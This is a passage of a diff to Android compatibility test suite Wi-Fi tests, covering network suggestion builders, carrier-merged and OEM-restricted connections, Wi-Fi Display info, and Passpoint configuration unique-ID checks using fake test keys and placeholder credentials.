+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    @Test
     public void testBuilderWithWapiEnterprise() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
         enterpriseConfig.setEapMethod(WAPI_CERT);
         WifiNetworkSuggestion suggestion =
@@ -252,11 +1010,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithPasspointConfig() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         PasspointConfiguration passpointConfig = createPasspointConfig();
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams(true)
@@ -264,6 +1019,227 @@
                         .build();
         validateCommonParams(suggestion, true);
         assertNull(suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertEquals(passpointConfig, suggestion.getPasspointConfig());
     }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testBuilderWithCarrierMergedNetwork() throws Exception {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                        .setCarrierMerged(true)
+                        .build();
+        validateCommonParams(suggestion);
+        assertTrue(suggestion.isCarrierMerged());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class with non enterprise
+     * network will fail.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testBuilderWithCarrierMergedNetworkWithNonEnterpriseNetwork() throws Exception {
+        try {
+            createBuilderWithCommonParams()
+                    .setWpa2Passphrase(TEST_PASSPHRASE)
+                    .setCarrierMerged(true)
+                    .build();
+        } catch (IllegalStateException e) {
+            return;
+        }
+        fail("Did not receive expected IllegalStateException when tried to build a carrier merged "
+                + "network suggestion with non enterprise config");
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class with unmetered network
+     * will fail.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testBuilderWithCarrierMergedNetworkWithUnmeteredNetwork() throws Exception {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        try {
+            createBuilderWithCommonParams()
+                    .setWpa3Enterprise192BitModeConfig(enterpriseConfig)
+                    .setCarrierMerged(true)
+                    .setIsMetered(false)
+                    .build();
+        } catch (IllegalStateException e) {
+            return;
+        }
+        fail("Did not receive expected IllegalStateException when tried to build a carrier merged "
+                + "network suggestion with unmetered config");
+    }
+
+    /**
+     * Connect to a network using suggestion API.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToSuggestion() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService,
+                Set.of() /* restrictedNetworkCapability */);
+    }
+
+    /**
+     * Connect to a network using restricted suggestion API.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPaidSuggestion() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .setOemPaid(true)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService, Set.of(NET_CAPABILITY_OEM_PAID));
+    }
+
+    /**
+     * Connect to a network using restricted suggestion API.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPaidAndOemPrivateSuggestion() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .setOemPaid(true)
+                        .setOemPrivate(true)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PAID, NET_CAPABILITY_OEM_PRIVATE));
+    }
+
+    /**
+     * Connect to a network using restricted suggestion API.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPrivateSuggestion() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .setOemPrivate(true)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService, Set.of(NET_CAPABILITY_OEM_PRIVATE));
+    }
+
+    /**
+     * Simulate connection failure to a network using restricted suggestion API & different net
+     * capability (need corresponding net capability requested for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPaidSuggestionFailure() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .setOemPaid(true)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFailureFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService, Set.of(NET_CAPABILITY_OEM_PRIVATE));
+    }
+
+    /**
+     * Simulate connection failure to a network using restricted suggestion API & different net
+     * capability (need corresponding net capability requested for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectToOemPrivateSuggestionFailure() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .setOemPrivate(true)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFailureFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService, Set.of(NET_CAPABILITY_OEM_PAID));
+    }
+
+    /**
+     * Simulate connection failure to a restricted network using suggestion API & restricted net
+     * capability (need corresponding restricted bit set in suggestion for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectSuggestionFailureWithOemPaidNetCapability() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFailureFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService, Set.of(NET_CAPABILITY_OEM_PAID));
+    }
+
+    /**
+     * Simulate connection failure to a restricted network using suggestion API & restricted net
+     * capability (need corresponding restricted bit set in suggestion for platform to connect).
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testConnectSuggestionFailureWithOemPrivateNetCapability() throws Exception {
+        assertNotNull(sTestNetwork);
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        sTestNetwork)
+                        .build();
+        sNsNetworkCallback = sTestHelper.testConnectionFailureFlowWithSuggestion(
+                sTestNetwork, suggestion, mExecutorService, Set.of(NET_CAPABILITY_OEM_PRIVATE));
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
index a692f12..b182fb6 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
@@ -20,13 +20,17 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
 import android.net.wifi.ScanResult;
+import android.net.wifi.WifiManager;
 import android.net.wifi.cts.WifiFeature;
 import android.net.wifi.nl80211.WifiNl80211Manager;
+import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -36,14 +40,49 @@
 import org.junit.runner.RunWith;
 
 import java.util.Arrays;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.Executor;
+
 
 /** CTS tests for {@link WifiNl80211Manager}. */
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Cannot get WifiManager/WifiNl80211Manager in instant app mode")
 public class WifiNl80211ManagerTest {
 
     private Context mContext;
 
+    private static class TestExecutor implements Executor {
+        private ConcurrentLinkedQueue<Runnable> tasks = new ConcurrentLinkedQueue<>();
+
+        @Override
+        public void execute(Runnable task) {
+            tasks.add(task);
+        }
+
+        private void runAll() {
+            Runnable task = tasks.poll();
+            while (task != null) {
+                task.run();
+                task = tasks.poll();
+            }
+        }
+    }
+
+    private class TestCountryCodeChangeListener implements
+            WifiNl80211Manager.CountryCodeChangedListener {
+        private String mCurrentCountryCode;
+
+        public String getCurrentCountryCode() {
+            return mCurrentCountryCode;
+        }
+
+        @Override
+        public void onCountryCodeChanged(String country) {
+            mCurrentCountryCode = country;
+        }
+    }
+
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
@@ -97,4 +136,25 @@
             manager.setOnServiceDeadCallback(() -> {});
         } catch (Exception ignore) {}
     }
+
+    // TODO(b/167575586): Wait for S SDK finalization to change minSdkVersion to
+    //  Build.VERSION_CODES.S
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testCountryCodeChangeListener() {
+        TestCountryCodeChangeListener testCountryCodeChangeListener =
+                new TestCountryCodeChangeListener();
+        TestExecutor executor = new TestExecutor();
+        WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+        // Enable wifi to trigger country code change
+        wifiManager.setWifiEnabled(true);
+        WifiNl80211Manager manager = mContext.getSystemService(WifiNl80211Manager.class);
+        // Register listener and unregister listener for API coverage only.
+        // Since current cts don't have sufficient permission to call WifiNl80211Manager API.
+        // Assert register fail because the CTS don't have sufficient permission to call
+        // WifiNl80211Manager API which are guarded by selinux.
+        assertFalse(manager.registerCountryCodeChangedListener(executor,
+                testCountryCodeChangeListener));
+        manager.unregisterCountryCodeChangedListener(testCountryCodeChangeListener);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java b/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java
index 75df5bf..ce52bfb 100644
--- a/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/p2p/cts/WifiP2pWfdInfoTest.java
@@ -16,10 +16,28 @@
 
 package android.net.wifi.p2p.cts;
 
-import android.net.wifi.p2p.WifiP2pWfdInfo;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
-public class WifiP2pWfdInfoTest extends AndroidTestCase {
+import android.content.Context;
+import android.net.wifi.cts.WifiFeature;
+import android.net.wifi.cts.WifiJUnit4TestBase;
+import android.net.wifi.p2p.WifiP2pWfdInfo;
+
+import androidx.core.os.BuildCompat;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WifiP2pWfdInfoTest extends WifiJUnit4TestBase {
 
     private final int TEST_DEVICE_TYPE = WifiP2pWfdInfo.DEVICE_TYPE_WFD_SOURCE;
     private final boolean TEST_DEVICE_ENABLE_STATUS = true;
@@ -28,6 +46,13 @@
     private final int TEST_MAX_THROUGHPUT = 1024;
     private final boolean TEST_CONTENT_PROTECTION_SUPPORTED_STATUS = true;
 
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        assumeTrue(WifiFeature.isWifiSupported(context));
+    }
+
+    @Test
     public void testWifiP2pWfdInfo() {
         WifiP2pWfdInfo info = new WifiP2pWfdInfo();
 
@@ -47,4 +72,38 @@
         assertEquals(TEST_CONTENT_PROTECTION_SUPPORTED_STATUS,
                 copiedInfo.isContentProtectionSupported());
     }
+
+    @Test
+    public void testWifiCoupledSink() {
+        assumeTrue(BuildCompat.isAtLeastS());
+        WifiP2pWfdInfo info = new WifiP2pWfdInfo();
+
+        assertFalse(info.isCoupledSinkSupportedAtSink());
+        info.setCoupledSinkSupportAtSink(true);
+        assertTrue(info.isCoupledSinkSupportedAtSink());
+
+        assertFalse(info.isCoupledSinkSupportedAtSource());
+        info.setCoupledSinkSupportAtSource(true);
+        assertTrue(info.isCoupledSinkSupportedAtSource());
+    }
+
+    @Test
+    public void testWifiP2pWfdR2Info() {
+        assumeTrue(BuildCompat.isAtLeastS());
+        WifiP2pWfdInfo info = new WifiP2pWfdInfo();
+
+        info.setR2DeviceType(WifiP2pWfdInfo.DEVICE_TYPE_WFD_SOURCE);
+        assertEquals(WifiP2pWfdInfo.DEVICE_TYPE_WFD_SOURCE, info.getR2DeviceType());
+        assertTrue(info.isR2Supported());
+
+        assertEquals(WifiP2pWfdInfo.DEVICE_TYPE_WFD_SOURCE, info.getR2DeviceInfo());
+    }
+
+    @Test
+    public void testWifiP2pWfdDeviceInfo() {
+        assumeTrue(BuildCompat.isAtLeastS());
+        WifiP2pWfdInfo info = new WifiP2pWfdInfo();
+        info.setDeviceType(WifiP2pWfdInfo.DEVICE_TYPE_WFD_SOURCE);
+        assertEquals(WifiP2pWfdInfo.DEVICE_TYPE_WFD_SOURCE, info.getDeviceInfo());
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/passpoint/cts/HomeSpTest.java b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/HomeSpTest.java
new file mode 100644
index 0000000..6809bc8
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/HomeSpTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.passpoint.cts;
+
+import android.net.wifi.cts.WifiJUnit3TestBase;
+import android.net.wifi.hotspot2.pps.HomeSp;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+public class HomeSpTest extends WifiJUnit3TestBase {
+    /**
+     * Verify that the anyOis set and get APIs work as expected
+     */
+    public void testAnyOis() throws Exception {
+        HomeSp homeSp = new HomeSp();
+        assertNull(homeSp.getMatchAnyOis());
+        final long[] ois = new long[]{0x1000, 0x2000};
+        homeSp.setMatchAnyOis(ois);
+        final long[] profileOis = homeSp.getMatchAnyOis();
+        assertTrue(Arrays.equals(ois, profileOis));
+    }
+
+    /**
+     * Verify that the allOis set and get APIs work as expected
+     */
+    public void testAllOis() throws Exception {
+        HomeSp homeSp = new HomeSp();
+        assertNull(homeSp.getMatchAllOis());
+        final long[] ois = new long[]{0x1000, 0x2000};
+        homeSp.setMatchAllOis(ois);
+        final long[] profileOis = homeSp.getMatchAllOis();
+        assertTrue(Arrays.equals(ois, profileOis));
+    }
+
+    /**
+     * Verify that the OtherHomePartners set and get APIs work as expected
+     */
+    public void testOtherHomePartners() throws Exception {
+        HomeSp homeSp = new HomeSp();
+        final Collection<String> homePartners = Arrays.asList("other-provider1", "other-provider2");
+        homeSp.setOtherHomePartnersList(homePartners);
+        final Collection<String> profileHomePartners = homeSp.getOtherHomePartnersList();
+        assertTrue(homePartners.equals(profileHomePartners));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/passpoint/cts/PasspointConfigurationTest.java b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/PasspointConfigurationTest.java
new file mode 100644
index 0000000..a6eebfe
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/passpoint/cts/PasspointConfigurationTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.passpoint.cts;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.net.wifi.cts.FakeKeys;
+import android.net.wifi.cts.WifiJUnit3TestBase;
+import android.net.wifi.hotspot2.PasspointConfiguration;
+import android.net.wifi.hotspot2.pps.Credential;
+import android.net.wifi.hotspot2.pps.HomeSp;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.filters.SdkSuppress;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+public class PasspointConfigurationTest extends WifiJUnit3TestBase {
+    private static final int CERTIFICATE_FINGERPRINT_BYTES = 32;
+    public static final int EAP_SIM = 18;
+    public static final int EAP_TTLS = 21;
+    private static final String TEST_DECORATED_IDENTITY_PREFIX = "androidwifi.dev!";
+
+    /**
+     * Verify that the unique identifier generated is identical for two instances
+     */
+    public void testEqualUniqueId() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        PasspointConfiguration config2 = createConfig();
+
+        assertEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is the same for two instances with different
+     * HomeSp node but same FQDN
+     */
+    public void testUniqueIdSameHomeSpSameFqdn() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        HomeSp homeSp = config1.getHomeSp();
+        homeSp.setMatchAnyOis(new long[]{0x1000, 0x2000});
+
+        // Modify config2's RCOIs and friendly name to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        homeSp = config2.getHomeSp();
+
+        homeSp.setRoamingConsortiumOis(new long[]{0xaa, 0xbb});
+        homeSp.setFriendlyName("Some other name");
+        homeSp.setOtherHomePartnersList(Arrays.asList("other-provider1", "other-provider2"));
+        homeSp.setMatchAllOis(new long[]{0x1000, 0x2000});
+        config2.setHomeSp(homeSp);
+
+        assertEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with the same
+     * HomeSp node but different FQDN
+     */
+    public void testUniqueIdDifferentHomeSpDifferentFqdn() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+
+        // Modify config2's FQDN to a different value
+        PasspointConfiguration config2 = createConfig();
+        HomeSp homeSp = config2.getHomeSp();
+        homeSp.setFqdn("fqdn2.com");
+        config2.setHomeSp(homeSp);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * SIM Credential node
+     */
+    public void testUniqueIdDifferentSimCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+
+        // Modify config2's realm and SIM credential to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        Credential credential = config2.getCredential();
+        credential.setRealm("realm2.example.com");
+        credential.getSimCredential().setImsi("350460*");
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * Realm in the Credential node
+     */
+    public void testUniqueIdDifferentRealm() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+
+        // Modify config2's realm to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        Credential credential = config2.getCredential();
+        credential.setRealm("realm2.example.com");
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is the same for two instances with different
+     * password and same username in the User Credential node
+     */
+    public void testUniqueIdSameUserInUserCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        Credential credential = createCredentialWithUserCredential("user", "passwd");
+        config1.setCredential(credential);
+
+        // Modify config2's Passpowrd to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        credential = createCredentialWithUserCredential("user", "newpasswd");
+        config2.setCredential(credential);
+
+        assertEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * username in the User Credential node
+     */
+    public void testUniqueIdDifferentUserCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        Credential credential = createCredentialWithUserCredential("user", "passwd");
+        config1.setCredential(credential);
+
+        // Modify config2's username to a different value
+        PasspointConfiguration config2 = createConfig();
+        credential = createCredentialWithUserCredential("user2", "passwd");
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the unique identifier generated is different for two instances with different
+     * Cert Credential node
+     */
+    public void testUniqueIdDifferentCertCredential() throws Exception {
+        PasspointConfiguration config1 = createConfig();
+        Credential credential = createCredentialWithCertificateCredential(true, true);
+        config1.setCredential(credential);
+
+        // Modify config2's cert credential to a different set of values
+        PasspointConfiguration config2 = createConfig();
+        credential = createCredentialWithCertificateCredential(false, false);
+        config2.setCredential(credential);
+
+        assertNotEquals(config1.getUniqueId(), config2.getUniqueId());
+    }
+
+    /**
+     * Verify that the set and get decorated identity prefix methods work as expected.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSetGetDecoratedIdentityPrefix() throws Exception {
+        PasspointConfiguration config = createConfig();
+        assertNull(config.getDecoratedIdentityPrefix());
+        config.setDecoratedIdentityPrefix(TEST_DECORATED_IDENTITY_PREFIX);
+        assertEquals(TEST_DECORATED_IDENTITY_PREFIX, config.getDecoratedIdentityPrefix());
+
+    }
+
+    /**
+     * Helper function for generating user credential for testing.
+     *
+     * @return {@link Credential}
+     */
+    private static Credential createCredentialWithUserCredential(String username, String password) {
+        Credential.UserCredential userCred = new Credential.UserCredential();
+        userCred.setUsername(username);
+        userCred.setPassword(password);
+        userCred.setEapType(EAP_TTLS);
+        userCred.setNonEapInnerMethod("MS-CHAP");
+        return createCredential(userCred, null, null, null, null, FakeKeys.CA_CERT0);
+    }
+
+    /**
+     * Helper function for generating Credential for testing.
+     *
+     * @param userCred               Instance of UserCredential
+     * @param certCred               Instance of CertificateCredential
+     * @param simCred                Instance of SimCredential
+     * @param clientCertificateChain Chain of client certificates
+     * @param clientPrivateKey       Client private key
+     * @param caCerts                CA certificates
+     * @return {@link Credential}
+     */
+    private static Credential createCredential(Credential.UserCredential userCred,
+            Credential.CertificateCredential certCred,
+            Credential.SimCredential simCred,
+            X509Certificate[] clientCertificateChain, PrivateKey clientPrivateKey,
+            X509Certificate... caCerts) {
+        Credential cred = new Credential();
+        cred.setRealm("realm");
+        cred.setUserCredential(userCred);
+        cred.setCertCredential(certCred);
+        cred.setSimCredential(simCred);
+        cred.setCaCertificate(caCerts[0]);
+        cred.setClientCertificateChain(clientCertificateChain);
+        cred.setClientPrivateKey(clientPrivateKey);
+        return cred;
+    }
+
+    /**
+     * Helper function for generating certificate credential for testing.
+     *
+     * @return {@link Credential}
+     */
+    private static Credential createCredentialWithCertificateCredential(Boolean useCaCert0,
+            Boolean useCert0)
+            throws NoSuchAlgorithmException, CertificateEncodingException {
+        Credential.CertificateCredential certCred = new Credential.CertificateCredential();
+        certCred.setCertType("x509v3");
+        if (useCert0) {
+            certCred.setCertSha256Fingerprint(
+                    MessageDigest.getInstance("SHA-256").digest(FakeKeys.CLIENT_CERT.getEncoded()));
+        } else {
+            certCred.setCertSha256Fingerprint(MessageDigest.getInstance("SHA-256")
+                    .digest(FakeKeys.CLIENT_SUITE_B_RSA3072_CERT.getEncoded()));
+        }
+        return createCredential(null, certCred, null, new X509Certificate[]{FakeKeys.CLIENT_CERT},
+                FakeKeys.RSA_KEY1, useCaCert0 ? FakeKeys.CA_CERT0 : FakeKeys.CA_CERT1);
+    }
+
+    /**
+     * Helper function for creating a {@link PasspointConfiguration} for testing.
+     *
+     * @return {@link PasspointConfiguration}
+     */
+    private static PasspointConfiguration createConfig() {
+        PasspointConfiguration config = new PasspointConfiguration();
+        config.setHomeSp(createHomeSp());
+        config.setCredential(createCredential());
+        Map<String, byte[]> trustRootCertList = new HashMap<>();
+        trustRootCertList.put("trustRoot.cert1.com",
+                new byte[CERTIFICATE_FINGERPRINT_BYTES]);
+        trustRootCertList.put("trustRoot.cert2.com",
+                new byte[CERTIFICATE_FINGERPRINT_BYTES]);
+        return config;
+    }
+
+    /**
+     * Utility function for creating a {@link android.net.wifi.hotspot2.pps.HomeSp} for testing.
+     *
+     * @return {@link android.net.wifi.hotspot2.pps.HomeSp}
+     */
+    private static HomeSp createHomeSp() {
+        HomeSp homeSp = new HomeSp();
+        homeSp.setFqdn("fqdn");
+        homeSp.setFriendlyName("friendly name");
+        homeSp.setRoamingConsortiumOis(new long[]{0x55, 0x66});
+        return homeSp;
+    }
+
+    /**
+     * Utility function for creating a {@link android.net.wifi.hotspot2.pps.Credential} for
+     * testing..
+     *
+     * @return {@link android.net.wifi.hotspot2.pps.Credential}
+     */
+    private static Credential createCredential() {
+        Credential cred = new Credential();
+        cred.setRealm("realm");
+        cred.setUserCredential(null);
+        cred.setCertCredential(null);
+        cred.setSimCredential(new Credential.SimCredential());
